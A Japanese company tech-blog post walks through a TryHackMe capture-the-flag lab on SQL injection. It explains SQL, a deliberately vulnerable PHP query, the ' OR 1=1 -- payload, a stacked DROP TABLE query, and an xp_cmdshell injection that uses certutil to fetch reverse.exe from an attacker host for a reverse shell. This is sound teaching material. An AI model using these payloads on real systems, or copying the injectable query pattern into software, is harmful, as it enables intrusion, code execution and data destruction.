APC 技術ブログ

株式会社エーピーコミュニケーションズの技術ブログです。

株式会社 エーピーコミュニケーションズの技術ブログです。

TryHackMe Advent of Cyber 2023から2024へ(6) SQL injection(SQLインジェクション)

自己紹介

こんにちは、エーピーコミュニケーションズiTOC事業部 BzD部 0-WANの田中と申します。
弊社でEDR製品を導入いただいたお客様のインシデント調査を主に担当しております。
その傍らプログラマーとしての経験と知識を生かしてセキュリティに関するウェブアプリケーションを設計構築するなどSOCチームのメンバーとして日々サイバーセキュリティと共に在るエンジニアです。

TryHackMeの「Advent of Cyber2023の復習と2024の予習」をテーマにした連載第6回目の今回は「SQL injection(SQLインジェクション)」の問題に挑戦してみましょう。

一般的なTryHackMeの使い方は以下にまとめてありますので参照してください。 techblog.ap-com.co.jp

過去のTryHackMe Advent of Cyber 2023に関する記事は以下の通りです。

タスク「SQL injection(SQLインジェクション)」

tryhackme.com

今回挑戦するタスクはこちらです。

[Day 10]Inject the Halls with EXEC Queries(ホールにEXECクエリを注入する)

タスク16 [10日目]SQLインジェクションEXECクエリでホールを注入する

[ウォークスルービデオをみるにはここをクリックしてください!]の▲をクリックすると解説動画を表示できますので必要に応じてチェックしてみてください。

このタスクの学習目標は以下の通りです。

  • SQLインジェクションの脆弱性を理解して特定する方法を学ぶ
  • スタックされたクエリを悪用してSQLインジェクションをリモートコード実行に変換する(今回は解説しません)
  • Elf McRedがBest FestivalのWeb サイトを復元し、その評判を守るのを手伝ってください。(今回は解説しません)

リレーショナルデータベース管理システム (RDBMS) と構造化クエリ言語 (SQL)

SQLインジェクションを学ぶ前にSQLについて理解しましょう。SQLとはリレーショナルデータベース管理システムに対してデータの操作や管理を行うための言語です。リレーショナルデータベースは、データをテーブル形式で整理し、それらのテーブル間で関係性(リレーション)を持たせることで、効率的なデータ管理を可能にします。

参考:

  • SQL - Introduction - W3Schools.com

youtu.be

  • 初心者向けの解説書でSQLとリレーショナルデータベースの基本を押さえよう codezine.jp

リレーショナルデータベースの中心はテーブルです。各テーブルは行(レコード)と列(フィールド)で構成されます。スプレッドシートをイメージすると理解しやすいでしょうか。

たとえば、下の電子商取引のリレーショナル データベースでは、「顧客」、「注文」、「製品」のテーブルが含まれ、識別子(ID)を使用して顧客情報をそれぞれの注文にリンクするように関係が定義されています。アプリケーションはこの関係を利用して注文書を作成するなどの機能をユーザに提供することができます。

テーブル間の関係の例

SQLを使用すると、データの検索や挿入、更新、削除などを簡単に行うことができます。

以下の例を参考に具体的なSQLの記述方法をみてみましょう。

tbl_ornamentsテーブルの例

例えばtbl_ornamentsという名前で作成されたテーブルに上のようなデータが入っている場合、素材(material )が木(Wood)でできた装飾品(ornament)のデータを抽出する(SELECT)には以下のようなSQL文(ステートメント)をデータベースに対して送ります。

SELECT * FROM tbl_ornaments WHERE material = 'Wood';

次のSQL文ではID 102を持つエルフによって作成されたすべての装飾品を返します。最初のSQL文とは異なり、この問合せ(クエリ)は装飾品のID、色、カテゴリのみを返します。

SELECT ornament_id, colour, category FROM tbl_ornaments WHERE elf_id = 102;

テーブルにデータを挿入するにはINSERTというクエリを送ります。以下の例ではID 105のエルフによって作成された装飾品の情報を追加します。

INSERT INTO tbl_ornaments (ornament_id, elf_id, colour, category, material, date_created, price) VALUES (5, 105, 'Blue', 'Star', 'Glass', '2023-12-10', 4.99);

PHP

PHPは、Web開発で重要な役割を果たす人気の高い汎用スクリプト言語の一つです。開発者は、サーバー上でHTMLコンテンツを生成し、それをクライアントのWebブラウザーに配信することで、動的でインタラクティブなWebサイトを作成できます。PHPは汎用性が高く、SQLデータベースとシームレスに統合できるため、機能豊富で動的なWebアプリケーションを構築するための強力なツールです。

PHP公式ドキュメントでは以下のように紹介されています。

PHPは、"PHP: Hypertext Preprocessor" を意味し、広く使用されているオープンソースの汎用スクリプト言語です。HTMLに埋め込むことができ、Webアプリケーションの開発に特に適しています。 PHPの構文の多くはC、Java、Perl言語から転用したもので、 簡単に習得することができます。この言語は、動的に生成されるウェブページをWeb開発者が速やかに作成できるようにすることを主な目標として つくられました。しかし、それだけにとどまらず、 もっと多くのことをPHP を使って行うことができます。 www.php.net

PHPを使用したWEB開発の例

PHPがSQLデータベースに接続する最も一般的な方法は、PHP Data Objects (PDO)拡張機能、またはMySQLの場合はmysqli 、 Microsoft SQL Server (MSSQL)の場合はsqlsrvなどの特定のデータベースサーバードライバーを使用します。通常、接続は、ホスト、ユーザー名、パスワード、データベース名などのパラメーターを指定して確立されます。

データベース接続を確立したら、 PHPを通じてSQLクエリを実行し、データベースから返されたデータに基づいてHTMLコンテンツを動的に生成してクライアント(ブラウザ)に返します。以下はコード例です。

// Execute an SQL query
$query = "SELECT * FROM tbl_ornaments WHERE colour = 'Green'";
$result = sqlsrv_query($conn, $query);

$query変数にSQL文を設定して、DB接続情報を使ってデータベースに問合せを行い結果を$resultに返します。この後返されたデータを元にHTMLコンテンツを生成してブラウザに返す処理を行います。

上の例では緑の装飾品を固定値として指定していますが、フォーム画面を利用してユーザが希望する色を指定することができます。

// Retrieve the GET parameter and save it as a variable
$colour = $_GET['colour'];

// Execute an SQL query with the user-supplied variable
$query = "SELECT * FROM tbl_ornaments WHERE colour = '$colour'";
$result = sqlsrv_query($conn, $query);

下の画像のようにフォーム画面でcolourという名前でテキストボックスを設置して、そこから送信された色情報を$colourに設定して動的にSQL文を生成して問合せを行うようにアプリケーションを作成することができます。

動的にパラメータを設定して問合せを行う例

SQLインジェクション ( SQLi )

ユーザからの入力を受け付けて柔軟にデータを送受信できる非常に便利な仕組みであるSQLクエリーですが、適切な処理を行わない場合重大なセキュリティインシデントを引き起こす可能性があります。

SQLインジェクションは攻撃者が意図的に悪意のあるSQL文をアプリケーションの入力フィールドに挿入し、それがデータベースで直接実行されることで、データの不正な取得、改ざん、削除などを行う攻撃です。機密性の高いユーザー情報の漏洩から重大なデータ侵害に至るまで、壊滅的なものになる可能性があります。

例えば攻撃者が以下のようなSQL文を発行できるとします。

SELECT * FROM tbl_ornaments WHERE colour = '' OR 1=1 --'

上のSQL文の問題点は「WHERE colour = '' OR 1=1 --'」の条件文にあります。 この条件文は「colourが""(空文字列つまり入力されていない)か1=1の(1が1と等しい)場合、tbl_ornamentsの全てのデータを返す」という文になります。 1=1の後ろにある「 --」はそれ以降はコメントとして扱うという文字列なので「 --」以前のSQL文のみが実行されます。 2つある条件のうちOR以降の1=1は常に真(Trueつまり1)なので、攻撃者は必ずtbl_ornamentsの全てのデータを取得することができてしまいます

不適切なアプリケーションの例

SQLインジェクション体験

さっそく問題となっている改変されたサイトにアクセスしてみましょう。

ターゲットマシンと自分のマシンを起動する

なかなかのいたずらっ子感がある改変っぷりです。

問題となっている改変されたサイト

クリスマスのギフト検索ができるようです。

ギフト検索へ

ギフト検索のフォームがあります。ここでユーザから不正な入力を送信することができそうです。

ギフト検索フォーム

まずは正しい使い方でギフトを検索してみましょう。

検索結果

指定した内容の結果が一覧表示されます。検索結果のURLは以下のとおりです。

http://10.10.24.114/giftresults.php?age=child&interests=toys&budget=30

ここで実験をしてみます。ageパラメータに「'」(シングルクォーテーション)を入れて結果を確認します。

ageパラメータを書き換える

するとエラーメッセージが返されます。サーバについての情報も含まれていますね。

詳細なエラーメッセージが表示される

Gift Search Results Database query error: Array ( [0] => Array ( [0] => 42000 [SQLSTATE] => 42000 [1] => 102 [code] => 102 [2] => [Microsoft][ODBC Driver 17 for SQL Server][SQL >Server]Incorrect syntax near 'toys'. [message] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near 'toys'. ) [1] => Array ( [0] => 42000 >[SQLSTATE] => 42000 [1] => 105 [code] => 105 [2] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Unclosed quotation mark after the character string ''. >[message] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Unclosed quotation mark after the character string ''. ) )

上で解説した不正なクエリーを送信して全件表示させてみましょう。

不正なクエリを入力する

今度はエラーが発生しません。

エラーが発生しない

ギフトテーブル内の全件の情報を取得することができました。そしてフラグらしい結果も含まれていました。

フラグらしい結果がある!

スタックされたクエリ

スタッククエリ(Stacked Query)とは、SQLインジェクション攻撃の一種で、複数のSQLステートメントを1つのクエリとして結合することで、連続して実行させる攻撃手法です。この手法では、最初のクエリが正しく実行された後、追加された不正なSQLクエリも続けて実行されます。これにより、データの取得、改ざん、削除、さらにはデータベースの管理機能を利用した操作まで可能になることがあります。

以下のようなSQL文があるとします。この文ではusersというテーブルからユーザ名が"admin"であるユーザの情報をすべて抽出します。

SELECT * FROM users WHERE username = 'admin';

この文に以下の文を追加するとどうなるでしょう。

 DROP TABLE users; --

全体は以下のSQL文になります。恐ろしい結果が待ち受けていることは理解していただけると思います。

SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --';

高度なSQLインジェクション

攻撃者はいろいろな手法を試して利用できるSQL文を組み立てていきます。 上で説明したスタックされたクエリは、データベース管理システム内のストアドプロシージャまたは関数を呼び出すためにも使用できます。 ストアドプロシージャとはデータベース管理システムによって提供される拡張機能のようなもので通常のSQL文の中に組み込んで呼び出すことができます。

Microsoft SQL Serverストアドプロシージャxp_cmdshellは、オペレーティングシステムコールの実行を可能にする特定のコマンドです。スタックされたクエリを利用してストアドプロシージャを呼び出すことができれば、オペレーティングシステムコールを実行し、リモートコード実行を取得できる可能性があります

SQLインジェクションを行ってリバースシェル接続を確立してターゲットシステムに侵入することを考えてみましょう。 具体的には以下のSQL文を実行してターゲットシステムのユーザに不正なプログラム(ペイロード)をダウンロードして実行させることで攻撃者(私たち)はターゲットシステムに侵入することが可能になります。

http://MACHINE_IP/giftresults.php?age='; EXEC xp_cmdshell 'certutil -urlcache -f http://YOUR.IP.ADDRESS.HERE:8000/reverse.exe C:\Windows\Temp\reverse.exe'; --

上のSQL文は、ターゲットシステムのcertutilを呼び出して攻撃者が立ち上げたPython HTTPサーバーから不正な実行ファイルreverse.exeをダウンロードし、後で使用するためにWindowsのtempディレクトリに保存します。reverse.exeファイルはターゲットで実行されるとポート4444経由で攻撃者サーバのIPアドレスへのリバースTCP接続を確立するWindows実行可能ファイルです。以下は簡単な手順です。

不正な実行ファイルreverse.exeを作成します。

不正な実行ファイル

ブラウザのアドレスバーに不正なクエリを入れてWEBサーバに送信します。(詳細はタスクの解説を参照してください。)

不正なクエリをパラメータに設定

攻撃者である私たちはターゲットシステムに侵入するためにポート4444で待ち受けるだけです。(正確にはサイトを奪還するための侵入です。)

待ち受ける
詳しくは解説しませんが興味がある方は紹介したタスクで手順に従って実際に試してみてください。(問題4および5を解答するのに必要です。)

問題に挑戦

では実際に問題を解いてみましょう。

問題1.改ざんされたWebサイトを手動でナビゲートして、脆弱な検索フォームを見つけます。ギフト検索機能を含む最初のWebページはどれですか?

ギフト検索フォームの画面のURLを確認しましょう。

問題2.返されるSQLエラーメッセージを分析します。Webサイトのバックエンドで使用されているODBCドライバーは何ですか?

上で解説したクエリをブラウザのアドレスバーに入力して結果を確認します。

問題3.ギフト検索フォームに1=1条件を挿入します 。 データベースに返される最後の結果は何ですか?

上で解説したクエリをブラウザのアドレスバーに入力して結果を確認します。

問題4.システムに残されたメモ ファイルGr33dstrにはどのようなフラグがありますか ?

c:\Users\Administrator\DesktopにあるNote.txtをみてみましょう。

問題5.ウェブサイトを復元した後、ホームページに表示されるフラグは何ですか ?

c:\Users\Administrator\Desktop>restore_website.batを実行してサイトを修復します。

まとめ

いかがでしたでしょうか? 今回はデータベース関連の用語が多くはじめて聞いた単語があったかもしれません。 実際に手を動かしてデータベースを触っていくうちに理解できるものなので心配はいりません。(私はそうでした)

もっと深く学びたい方はIPAのコンテンツもおすすめです。 安全なウェブサイトの作り方 - 1.1 SQLインジェクション www.ipa.go.jp

今回はSQL injection(SQLインジェクション)のテーマのもと以下について学ぶタスクをご紹介しました。

  • SQLインジェクションの脆弱性を理解して特定する方法を学ぶ
  • スタックされたクエリを悪用してSQLインジェクションをリモートコード実行に変換する(今回は解説しません)
  • Elf McRedがBest FestivalのWeb サイトを復元し、その評判を守るのを手伝ってください。(今回は解説しません)

最後まで読んでいただきありがとうございました。次回もお楽しみに。

0-WANについて

私たち0-WANは、ゼロトラスト製品を中心とした、マルチベンダーでのご提案で、お客様の経営課題解決を支援しております。 ゼロトラストってどうやるの?製品を導入したけれど使いこなせていない気がする等々、どんな内容でも支援いたします。 お気軽にご相談ください。

問い合わせ先、0-WANについてはこちら。 www.ap-com.co.jp

一緒に働いて頂ける仲間も募集しています

今までの経験を活かして、私たちと一緒にゼロトラスト分野で活躍しませんか? www.ap-com.co.jp